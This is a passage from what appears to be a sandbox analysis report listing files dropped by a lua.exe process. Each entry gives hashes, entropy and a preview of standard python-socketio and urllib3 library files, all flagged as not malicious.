SHA-512:	4FCC41172F9C738233949BA4F1BF37E6F069E71007B961A89607CEC1B37C363C8E010776FF07548D0B7FE11EEB7A49DF50C50191F132D7737EDE8CAAEA3F117C
Malicious:	false
Preview:	class BaseNamespace(object):. def __init__(self, namespace=None):. self.namespace = namespace or '/'.. def is_asyncio_based(self):. return False.. def trigger_event(self, event, args):. """Dispatch an event to the proper handler method... In the most common usage, this method is not overloaded by subclasses,. as it performs the routing of events to methods. However, this. method can be overriden if special dispatching rules are needed, or if. having a single method that catches all events is desired.. """. handler_name = 'on_' + event. if hasattr(self, handler_name):. return getattr(self, handler_name)(args)...class Namespace(BaseNamespace):. """Base class for server-side class-based namespaces... A class-based namespace is a class that contains all the event handlers. for a Socket.IO namespace. The event handlers are methods of the class. with the prefix ``on_``, such as ``on_connec

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\packet.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6803
Entropy (8bit):	4.2711395275560164
Encrypted:	false
SSDEEP:	192:4rpFmxSJRaRQqTdT8jV5Q28dAwk1d88dKyd/p5dgpmb8d1idU:MFmxocRQIdIh50k1NT8
MD5:	066F0D9BB72313EC3E7BF1AA6A9DA874
SHA1:	5D2B28B985C7C8D1625F7B67382A845C052CCE7E
SHA-256:	71A3B00110BF1315F3A377223261B9BA63B63EBAAF7C3035A2912E9B2551CA4B
SHA-512:	E3E9B98D1FBE60E189B94866C43766F5D370B29799511FE74D69C36659CA1A1F852B055F59175DE1538E09A4276F13C627CB7263AE57386CAE1B2151C8472DAD
Malicious:	false
Preview:	import functools.import json as _json..import six..(CONNECT, DISCONNECT, EVENT, ACK, ERROR, BINARY_EVENT, BINARY_ACK) = \. (0, 1, 2, 3, 4, 5, 6).packet_names = ['CONNECT', 'DISCONNECT', 'EVENT', 'ACK', 'ERROR',. 'BINARY_EVENT', 'BINARY_ACK']...class Packet(object):. """Socket.IO packet.""".. # the format of the Socket.IO packet is as follows:. #. # packet type: 1 byte, values 0-6. # num_attachments: ASCII encoded, only if num_attachments != 0. # '-': only if num_attachments != 0. # namespace: only if namespace != '/'. # ',': only if namespace and one of id and data are defined in this packet. # id: ASCII encoded, only if id is not None. # data: JSON dump of data payload.. json = _json.. def __init__(self, packet_type=EVENT, data=None, namespace=None, id=None,. binary=None, encoded_packet=None):. self.packet_type = packet_type. self.data = data. self.namespace = namespace. self.id = id.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\pubsub_manager.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7178
Entropy (8bit):	4.164215766998458
Encrypted:	false
SSDEEP:	96:viL8KCSUq/dosJU8sPW4cGxEMUIW//2nxrppnZx8rVuOEfzrJ/:vpKCS/3DsPW4sHKXZx8rA1
MD5:	D589CEEE17F103031E659DD6B97883AA
SHA1:	0B8EC2B13A85DAC9D5C020F9A707B59E27802298
SHA-256:	8D47E67D97EB38BE528ADBBA648F98742A068A4FBC67D929F5D61AF119D9A5E1
SHA-512:	D513C968401B008AD813DF4480E721B74C35CA96E2A5B1B170523D1C74F0C73B77388157004C203F93B91F2516827CA93AECE12BBCB8C5513EC4D6A6D82BC872
Malicious:	false
Preview:	from functools import partial.import uuid..import json.import pickle.import six..from .base_manager import BaseManager...class PubSubManager(BaseManager):. """Manage a client list attached to a pub/sub backend... This is a base class that enables multiple servers to share the list of. clients, with the servers communicating events through a pub/sub backend.. The use of a pub/sub backend also allows any client connected to the. backend to emit events addressed to Socket.IO clients... The actual backends must be implemented by subclasses, this class only. provides a pub/sub generic framework... :param channel: The channel name on which the server sends and receives. notifications.. """. name = 'pubsub'.. def __init__(self, channel='socketio', write_only=False, logger=None):. super(PubSubManager, self).__init__(). self.channel = channel. self.write_only = write_only. self.host_id = uuid.uuid4().hex. sel

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\redis_manager.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4446
Entropy (8bit):	4.182138099594556
Encrypted:	false
SSDEEP:	96:exCQA/1icFq1uWDoEeNbScgGHYyH6rpKFl:sCQiibRDoEeNbScgrq
MD5:	EC1BE2B9EF0C5F7CA2CE78C03E6DDA59
SHA1:	1FD510B7183AB722CD10C13D65D5BDAFC9F50744
SHA-256:	F9E6BE80BB0B19D95B4BC70F808649DCB96DEDB7593EC07EB2D9A839CBBF68D7
SHA-512:	E30815248CF3FAAED9F4AE9ECE9E824D16742539A42AC073B1497B62E3BE71044D17FF881240C49AADCC000C925A0A5ADA129680756F94CF3EE3E48961F9B8C7
Malicious:	false
Preview:	import logging.import pickle.import time..try:. import redis.except ImportError:. redis = None..from .pubsub_manager import PubSubManager..logger = logging.getLogger('socketio')...class RedisManager(PubSubManager): # pragma: no cover. """Redis based client manager... This class implements a Redis backend for event sharing across multiple. processes. Only kept here as one more example of how to build a custom. backend, since the kombu backend is perfectly adequate to support a Redis. message queue... To use a Redis backend, initialize the :class:`Server` instance as. follows::.. url = 'redis://hostname:port/0'. server = socketio.Server(client_manager=socketio.RedisManager(url)).. :param url: The connection URL for the Redis server. For a default Redis. store running on the same host, use ``redis://``.. :param channel: The channel name on which the server sends and receives. notifications. Must be the same

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\server.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	36079
Entropy (8bit):	4.139759593015352
Encrypted:	false
SSDEEP:	768:sLwC8Klm+nhlhBJvl1lwEE+3yL/3w10Th8I:sLv8KlmAhlh7vl1CEE+3yLZ
MD5:	1C01DBAF5D9972515001110006FAAE03
SHA1:	049F9DB0832827D6CC8155E832951D9A6B37C1F4
SHA-256:	8F37225EBB4B3708937041F5BD7A6C5ACBAF8C8639ADF5584B832464210880F4
SHA-512:	D45CABA5458C719C1264B12D9ECC2056627ED9187C53C02234B2FEBE583D4F8A16F2BC658E519049579D886C48A19A1D487370FFF0B2D047C7ECF6F2CCEBE563
Malicious:	false
Preview:	import logging..import engineio.import six..from . import base_manager.from . import exceptions.from . import namespace.from . import packet..default_logger = logging.getLogger('socketio.server')...class Server(object):. """A Socket.IO server... This class implements a fully compliant Socket.IO web server with support. for websocket and long-polling transports... :param client_manager: The client manager instance that will manage the. client list. When this is omitted, the client list. is stored in an in-memory structure, so the use of. multiple connected servers is not possible.. :param logger: To enable logging set to ``True`` or pass a logger object to. use. To disable logging set to ``False``. The default is. ``False``. Note that fatal errors are logged even when. ``logger`` is ``False``.. :param binary: ``True`` to support binary pay

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\tornado.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	357
Entropy (8bit):	4.360872576306305
Encrypted:	false
SSDEEP:	6:kf+uQcFAlcsSnX0TxN30dzJMpLXaUmw3DEWtbJeK8w3CpVJeKv:kf+ubAl5S2NuuRSw3xGw3Cph
MD5:	91FAD73DDB9CA9744B8255F51514FC4D
SHA1:	CC2F9448B090FD4A51A343606B441A99EAAB6A80
SHA-256:	D8EE11532670EC2813058B26732FBB48660D9E0CF6F22A8E2779B5FF30C1CF55
SHA-512:	CD3309C200BB1CAB463A343EB9B623CC12A454CE69EA717CE4F3E2D70E649EB5E833DE41A27C7E9615F7E4A4594FF0D8D475262BBCABC052A2DF0FF3EC4DC49C
Malicious:	false
Preview:	import sys.if sys.version_info >= (3, 5):. try:. from engineio.async_drivers.tornado import get_tornado_handler as \. get_engineio_handler. except ImportError: # pragma: no cover. get_engineio_handler = None...def get_tornado_handler(socketio_server): # pragma: no cover. return get_engineio_handler(socketio_server.eio).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\zmq_manager.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3682
Entropy (8bit):	4.364302431835137
Encrypted:	false
SSDEEP:	96:GmMWohEZTENDSgODawXUD7WqQgq3d+wxkPf7ov:V5ohEZTENDSggNUD7WqQgqt+IZ
MD5:	9D46A516BFC525284639FC1D7676FB96
SHA1:	7BEDD369EAF7991BA085543219BE4BC780E2B40A
SHA-256:	7A47450767C41AAF302B8497ED271384B64F99983BE31C3E7B9F62638FB08502
SHA-512:	655519144CD0037D421021947DDD0872FC5A02415B07ADC346608D430B27693CFE49D39FD2931615A8318E41F6ACBCD43A3BF6AE30BE94A310869D93C3617CDD
Malicious:	false
Preview:	import pickle.import re..try:. import eventlet.green.zmq as zmq.except ImportError:. zmq = None.import six..from .pubsub_manager import PubSubManager...class ZmqManager(PubSubManager): # pragma: no cover. """zmq based client manager... NOTE: this zmq implementation should be considered experimental at this. time. At this time, eventlet is required to use zmq... This class implements a zmq backend for event sharing across multiple. processes. To use a zmq backend, initialize the :class:`Server` instance as. follows::.. url = 'zmq+tcp://hostname:port1+port2'. server = socketio.Server(client_manager=socketio.ZmqManager(url)).. :param url: The connection URL for the zmq message broker,. which will need to be provided and running.. :param channel: The channel name on which the server sends and receives. notifications. Must be the same in all the servers.. :param write_only: If set to ``True``, only initialize

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3-1.26.2.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3-1.26.2.dist-info\LICENSE.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1115
Entropy (8bit):	5.127299110271462
Encrypted:	false
SSDEEP:	24:Wt4VrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:y4VaJHlxE3dQHOs5exm3ogFh
MD5:	C2823CB995439C984FD62A973D79815C
SHA1:	FAE7D86A68E1724238ED64674E4CD743A7DC6796
SHA-256:	C37BF186E27CF9DBE9619E55EDFE3CEA7B30091CEB3DA63C7DACBE0E6D77907B
SHA-512:	F269AA02054A723686EA1D5C3CE47A90AB4D816CB1FADD4213D2174C6EB0E9973D0FC8EA85FB49C59EED378B2BDFA97A6E66373A9B495FEF4ABE0593C4E0C790
Malicious:	false
Preview:	MIT License..Copyright (c) 2008-2020 Andrey Petrov and contributors (see CONTRIBUTORS.txt)..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT O

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3-1.26.2.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	UTF-8 Unicode text
Category:	dropped
Size (bytes):	42982
Entropy (8bit):	5.160749246559012
Encrypted:	false
SSDEEP:	768:wi/fty2KwQBXpXtJSD4FHqu5QlXg0Gp+1Is2trOa+rbm0wjtUGCd:wi3tXKzs4r+QYIs2tKqRUD
MD5:	524C4F24A0070AB98476119050DA6DAD
SHA1:	BD5E0EA5577D9649AAF9F9D1871050BDC7D2D036
SHA-256:	3DA2446E1956304E120223D6022C06C65D348F62CEDE9DC5413E1691F3810A6A
SHA-512:	ABC20DBBC61FDBCE3FD5D9C59A0346AA09B7541E28EAD84951090E2830A1DB6E2E2E670ED2522F5A7EA715A34B6A7F72192EEF0A6AFFA01E47E22CE97185F2D8
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: urllib3.Version: 1.26.2.Summary: HTTP library with thread-safe connection pooling, file post, and more..Home-page: https://urllib3.readthedocs.io/.Author: Andrey Petrov.Author-email: andrey.petrov@shazow.net.License: MIT.Project-URL: Documentation, https://urllib3.readthedocs.io/.Project-URL: Code, https://github.com/urllib3/urllib3.Project-URL: Issue tracker, https://github.com/urllib3/urllib3/issues.Keywords: urllib httplib threadsafe filepost http https ssl pooling.Platform: UNKNOWN.Classifier: Environment :: Web Environment.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Operating System :: OS Independent.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 2.7.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3.5.Classifier: Programming Language :: Python :: 3.6.Classif

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3-1.26.2.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5962
Entropy (8bit):	5.676154013729213
Encrypted:	false
SSDEEP:	96:ZXOWlroneDr1iaJMRUUOhiJjhUhFShvhNo9hpWBIaUQ1iWTsoYJ+H+sJkfnbnCFE:ZXHp+biKMJdf
MD5:	21F339559C9773C91160FABF67E7B66C
SHA1:	278EBE67B544FC6942E94F6881E37F7EBE23F44F
SHA-256:	250AA0D26F14247EE00D00ACCA6FCC17D5A7B8109534793299E79058BDA5C402
SHA-512:	65A2A8C69DFF250443909F4F80EAF0904ABF1D964F68A66628494FA4002778601A334EF8C295C29046BA226F35513C91F07CF0E400DD8F568BA179413992903E
Malicious:	false
Preview:	urllib3-1.26.2.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..urllib3-1.26.2.dist-info/LICENSE.txt,sha256=w3vxhuJ8-dvpYZ5V7f486nswCRzrPaY8fay-Dm13kHs,1115..urllib3-1.26.2.dist-info/METADATA,sha256=PaJEbhlWME4SAiPWAiwGxl00j2LO3p3FQT4WkfOBCmo,42982..urllib3-1.26.2.dist-info/RECORD,,..urllib3-1.26.2.dist-info/WHEEL,sha256=ADKeyaGyKF5DwBNE0sRE5pvW-bSkFMJfBuhzZ3rceP4,110..urllib3-1.26.2.dist-info/top_level.txt,sha256=EMiXL2sKrTcmrMxIHTqdc3ET54pQI2Y072LexFEemvo,8..urllib3/__init__.py,sha256=j3yzHIbmW7CS-IKQJ9-PPQf_YKO8EOAey_rMW0UR7us,2763..urllib3/__pycache__/__init__.cpython-37.pyc,,..urllib3/__pycache__/_collections.cpython-37.pyc,,..urllib3/__pycache__/_version.cpython-37.pyc,,..urllib3/__pycache__/connection.cpython-37.pyc,,..urllib3/__pycache__/connectionpool.cpython-37.pyc,,..urllib3/__pycache__/exceptions.cpython-37.pyc,,..urllib3/__pycache__/fields.cpython-37.pyc,,..urllib3/__pycache__/filepost.cpython-37.pyc,,..urllib3/__pycache__/poolmanager.cpython-37.py

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3-1.26.2.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.816968543485036
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVii6KRRP+tPCCf7irO5S:RtBMwlViGjWBBwt
MD5:	D25A99ECD1ECB535EE4E31874B0C7B95
SHA1:	B80780FBBF97A5FBF433C4F692E340632EA675F1
SHA-256:	00329EC9A1B2285E43C01344D2C444E69BD6F9B4A414C25F06E873677ADC78FE
SHA-512:	539E072414E6E8AD3BFAEDB0587507443B39826814FB330B57D605FB5FBE61134D3548359F41A14CC63B44E23EF0AA1E62EA1C4A2F3B344BE548F4C2C8143976
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.35.1).Root-Is-Purelib: true.Tag: py2-none-any.Tag: py3-none-any..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3-1.26.2.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.75
Encrypted:	false
SSDEEP:	3:CJCIn:CsI
MD5:	087F6EEE1869B57050854932A65308C3
SHA1:	15576C12AE90688527CF229FEF8B0074F4B87D44
SHA-256:	10C8972F6B0AAD3726ACCC481D3A9D737113E78A50236634EF62DEC4511E9AFA
SHA-512:	06CE125869FC98C17B507A716296A3056C232406389C51CDDC555E2BC5612F8B28F2C718C6BC726188C73523CBD7426999665D4786280ECA0B935ADBA9BA7F15
Malicious:	false
Preview:	urllib3.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2763
Entropy (8bit):	4.82855851370814
Encrypted:	false
SSDEEP:	48:P9QYvYivdtJbow7dCox+XfV2oAkVHbY30nFp+6Hsxs3LMqsAxsavC28qs38:P9QpivZboOIow92oAkVHW0nFp+Gsxs3H
MD5:	FD4AC96F1CC3E70176F11D8EED9C03D0
SHA1:	392F6A8DF65DABFAE6CC45254ECECA34C2AC2D0E
SHA-256:	8F7CB31C86E65BB092F8829027DF8F3D07FF60A3BC10E01ECBFACC5B4511EEEB
SHA-512:	88479A5E61197E8F4F93FC99AFC84602521622B00B37516E72B3EDD37537BBCA005562EDFDB0B78028598795F0477BE92434112958654740BF80EA93D7724868
Malicious:	false
Preview:	""".Python HTTP library with thread-safe connection pooling, file post support, user friendly, and more.""".from __future__ import absolute_import..# Set default logging handler to avoid "No handler found" warnings..import logging.import warnings.from logging import NullHandler..from . import exceptions.from ._version import __version__.from .connectionpool import HTTPConnectionPool, HTTPSConnectionPool, connection_from_url.from .filepost import encode_multipart_formdata.from .poolmanager import PoolManager, ProxyManager, proxy_from_url.from .response import HTTPResponse.from .util.request import make_headers.from .util.retry import Retry.from .util.timeout import Timeout.from .util.url import get_host..__author__ = "Andrey Petrov (andrey.petrov@shazow.net)".__license__ = "MIT".__version__ = __version__..__all__ = (. "HTTPConnectionPool",. "HTTPSConnectionPool",. "PoolManager",. "ProxyManager",. "HTTPResponse",. "Retry",. "Timeout",. "add_stderr_logger",. "co

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\_collections.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10811
Entropy (8bit):	4.417580601911852
Encrypted:	false
SSDEEP:	192:uigwjMrDy91VrSp14/JPDc7R6w3R8RPI1dZ:LghuI14/JLs6AePkH
MD5:	C00034CAB38BB125F7FF7FA9FF99A5B8
SHA1:	48AA9B3F4621CB54B901F789D8E596122AB98898
SHA-256:	469D6657206073F52501CA7A3376ADD6C909057479278DCD6B0453BD6DA0FD76
SHA-512:	36B4442CDBF73E54AA3ED89C1464F1996B30C9A2C71B6E23F9529137CD988506D6C094451B34054537D111887E391248C8806E7DCFFF832956B4B9AEE234CC18
Malicious:	false
Preview:	from __future__ import absolute_import..try:. from collections.abc import Mapping, MutableMapping.except ImportError:. from collections import Mapping, MutableMapping.try:. from threading import RLock.except ImportError: # Platform-specific: No threads available.. class RLock:. def __enter__(self):. pass.. def __exit__(self, exc_type, exc_value, traceback):. pass...from collections import OrderedDict..from .exceptions import InvalidHeader.from .packages import six.from .packages.six import iterkeys, itervalues..__all__ = ["RecentlyUsedContainer", "HTTPHeaderDict"]..._Null = object()...class RecentlyUsedContainer(MutableMapping):. """. Provides a thread-safe dict-like container which maintains up to. ``maxsize`` keys while throwing away the least-recently-used keys beyond. ``maxsize``... :param maxsize:. Maximum number of recent elements to retain... :param dispose_func:. Every time an item is evicted from

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\_version.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	63
Entropy (8bit):	4.765144558791974
Encrypted:	false
SSDEEP:	3:SbFQmvCEmqhqO2i6TAXLvsD7vn:SbFmEdgOH4A7sDr
MD5:	E862C0F9E1A0A8F2776FC2E9652F4A9E
SHA1:	051CEB0151C9E3B8DA983A67E1FDF76D246F8CB0
SHA-256:	79E38B0358830B7EA94EF282F7CA5848240CA56ECF06467982E5478C637DA2AC
SHA-512:	8B0D0A12C749AA4F60FE816453E5B4B10D8ADFBD2DBF17A7548D3B05AB55E9DA180A6BCCF18754FF0FAA0FC3E159AB17FC322650AD4D63DCF08E3471AC4B7503
Malicious:	false
Preview:	# This file is protected via CODEOWNERS.__version__ = "1.26.2".

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\connection.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18489
Entropy (8bit):	4.483544576595905
Encrypted:	false
SSDEEP:	384:gKTmcc0lKFJCtg6w6z1XDWXsxEbA8ClW8:9LlKFotg6LVp8W
MD5:	0751E405A934DE1D27D413643CA13016
SHA1:	65D3ED59E8F3827C29C11E5B289C1B4F54D74716
SHA-256:	83205512A4710BE28B98C92A1CA4920FC86E855E21AC25D6769A7CD55A450AE0
SHA-512:	E0E3A661D408A173F7C6A1E01FC1DA28311A8549A702739708BCC62FCC77CD23D69F42921D971D57DB84C4130C6281001438959F12165C2CE1812313E61BCE4D
Malicious:	false
Preview:	from __future__ import absolute_import..import datetime.import logging.import os.import re.import socket.import warnings.from socket import error as SocketError.from socket import timeout as SocketTimeout..from .packages import six.from .packages.six.moves.http_client import HTTPConnection as _HTTPConnection.from .packages.six.moves.http_client import HTTPException # noqa: F401.from .util.proxy import create_proxy_ssl_context..try: # Compiled with SSL?. import ssl.. BaseSSLError = ssl.SSLError.except (ImportError, AttributeError): # Platform-specific: No SSL.. ssl = None.. class BaseSSLError(BaseException):. pass...try:. # Python 3: not a no-op, we're adding this to the namespace so it can be imported.. ConnectionError = ConnectionError.except NameError:. # Python 2. class ConnectionError(Exception):. pass...try: # Python 3:. # Not a no-op, we're adding this to the namespace so it can be imported.. BrokenPipeError = BrokenPipeError.except

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\connectionpool.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	37133
Entropy (8bit):	4.306180746682064
Encrypted:	false
SSDEEP:	768:SWYeQ2AWEsTQZDVAT/35nM2mgQY5guR/yKFmY7:SWNQ2Acm5AT/xQuNFFmY7
MD5:	C8EEF2367F628C56029BF8E571E20097
SHA1:	F2028C30CAC783929BDFFF1A63A7F6EB1921BD23
SHA-256:	20AA1EB89658F580189B418AE2AF8C5C08725D6D0CFC59EF69B61A36C0C847E1
SHA-512:	E683127496A1BE498F51708323977434D8C62CC0BDA6B0D0D9B951E139DC2D5CA75764D92EC0F8A09A1D3F52A333A74701ED270C915B7895A7F2C5ACC8369B91
Malicious:	false
Preview:	from __future__ import absolute_import..import errno.import logging.import socket.import sys.import warnings.from socket import error as SocketError.from socket import timeout as SocketTimeout..from .connection import (. BaseSSLError,. BrokenPipeError,. DummyConnection,. HTTPConnection,. HTTPException,. HTTPSConnection,. VerifiedHTTPSConnection,. port_by_scheme,.).from .exceptions import (. ClosedPoolError,. EmptyPoolError,. HeaderParsingError,. HostChangedError,. InsecureRequestWarning,. LocationValueError,. MaxRetryError,. NewConnectionError,. ProtocolError,. ProxyError,. ReadTimeoutError,. SSLError,. TimeoutError,.).from .packages import six.from .packages.six.moves import queue.from .packages.ssl_match_hostname import CertificateError.from .request import RequestMethods.from .response import HTTPResponse.from .util.connection import is_connection_dropped.from .util.proxy import connection_requires_http_tunnel.from .util

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\_appengine_environ.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	957
Entropy (8bit):	4.839567597088071
Encrypted:	false
SSDEEP:	24:YelUQejhWpWovLFwInc1mOQny9FWvBnNI9hTLRKMLvLhTLRKMoBvLtaXP:AQejhWpvFwIQoynWvBu9hTk2hTk7pUXP
MD5:	ACC1A179E0EC7E6C78DDF8CA298AB6C2
SHA1:	C4CCCEC3D49682BA148AEEB6EBC8C9DC450C6A3C
SHA-256:	6C36F2384856D8228B25C42A00A032AC41CDF9A925B321C52AAEAF17C645B269
SHA-512:	A524C5CC746DA680F51071ECF610AAEF3AA4A58E169786C28B27D9961925461729357BE180D2D95ACC0E5B2C2456DD5D4DCE9276CC856717B5F478C9290C4732
Malicious:	false
Preview:	""".This module provides means to detect the App Engine environment.."""..import os...def is_appengine():. return is_local_appengine() or is_prod_appengine()...def is_appengine_sandbox():. """Reports if the app is running in the first generation sandbox... The second generation runtimes are technically still in a sandbox, but it. is much less restrictive, so generally you shouldn't need to check for it.. see https://cloud.google.com/appengine/docs/standard/runtimes. """. return is_appengine() and os.environ["APPENGINE_RUNTIME"] == "python27"...def is_local_appengine():. return "APPENGINE_RUNTIME" in os.environ and os.environ.get(. "SERVER_SOFTWARE", "". ).startswith("Development/")...def is_prod_appengine():. return "APPENGINE_RUNTIME" in os.environ and os.environ.get(. "SERVER_SOFTWARE", "". ).startswith("Google App Engine/")...def is_prod_appengine_mvms():. """Deprecated.""". return False.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\_securetransport\bindings.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	17637
Entropy (8bit):	5.132839867670083
Encrypted:	false
SSDEEP:	192:wu/LhugQHDxch4TH/WBO6VcdMFM4cF+V2AKkAK66qOQK+mx:1/91KxcyHuGGaW1V6hQD
MD5:	7E6E80ED107E3AD1A0416D22A31A2644
SHA1:	A59A0CFD5B81BB63EDADED0FB7FA52C1D41F4FE3
SHA-256:	135FFB49CB2039C85FC677A8CDB02E78AEF3882C05DF97E76B80EE0C2609F7FA
SHA-512:	BE271CC3B881E96793E4BD5F68EF0AFB8D404B4435CC66FECA0AAE83E10972B495BAB586D9725BFC91170CA4850BB43B0EC1FB128FE2405DDC2555BC443ED745
Malicious:	false
Preview:	""".This module uses ctypes to bind a whole bunch of functions and constants from.SecureTransport. The goal here is to provide the low-level API to.SecureTransport. These are essentially the C-level functions and constants, and.they're pretty gross to work with...This code is a bastardised version of the code found in Will Bond's oscrypto.library. An enormous debt is owed to him for blazing this trail for us. For.that reason, this code should be considered to be covered both by urllib3's.license and by oscrypto's:.. Copyright (c) 2015-2016 Will Bond <will@wbond.net>.. Permission is hereby granted, free of charge, to any person obtaining a. copy of this software and associated documentation files (the "Software"),. to deal in the Software without restriction, including without limitation. the rights to use, copy, modify, merge, publish, distribute, sublicense,. and/or sell copies of the Software, and to permit persons to whom the. Software is furnished to do so, sub

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\_securetransport\low_level.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	13908
Entropy (8bit):	4.615552015977539
Encrypted:	false
SSDEEP:	384:4I5Kn8neLI5vX82J+KUHEgsm6eDhmaRwJtLTc+Wn6Jz4:angeLosKUHEgsm6eDhma/qE
MD5:	21AC8FE83494A2D87862C258011CBC9D
SHA1:	9A969EE66BDA1EDB61C306BC315ABF6BB3F08C89
SHA-256:	96021DB12C9CA9F0745E6E41889CD719E20A4FBC9B0903053C902091CC0F6B5B
SHA-512:	6D6D7D98DDEECDDE4F55177486C07A752AF969E0EF3BE746797936C3C9D1938437239FF12A7AF73CEE592DA60E074D3D98E99C016B1C1EDACF6635D3B543054C
Malicious:	false
Preview:	""".Low-level helpers for the SecureTransport bindings...These are Python functions that are not directly related to the high-level APIs.but are necessary to get them to work. They include a whole bunch of low-level.CoreFoundation messing about and memory management. The concerns in this module.are almost entirely about trying to avoid memory leaks and providing.appropriate and useful assistance to the higher-level code..""".import base64.import ctypes.import itertools.import os.import re.import ssl.import struct.import tempfile..from .bindings import CFConst, CoreFoundation, Security..# This regular expression is used to grab PEM data out of a PEM bundle.._PEM_CERTS_RE = re.compile(. b"-----BEGIN CERTIFICATE-----\n(.*?)\n-----END CERTIFICATE-----", re.DOTALL.)...def _cf_data_from_bytes(bytestring):. """. Given a bytestring, create a CFData object from it. This CFData object must. be CFReleased by the caller.. """. return CoreFoundation.CFDataCreate(. CoreFound

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\appengine.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	11010
Entropy (8bit):	4.3981720587863276
Encrypted:	false
SSDEEP:	192:3v2ft8wfh2ACE7U/O0JCGs06jLNf3Wpn35NAbtJEGJab:/ct8wFn4JtnOh3Mn3Ou/b
MD5:	2B2BC512407D9EBE78F80FB7B9C1D7D0
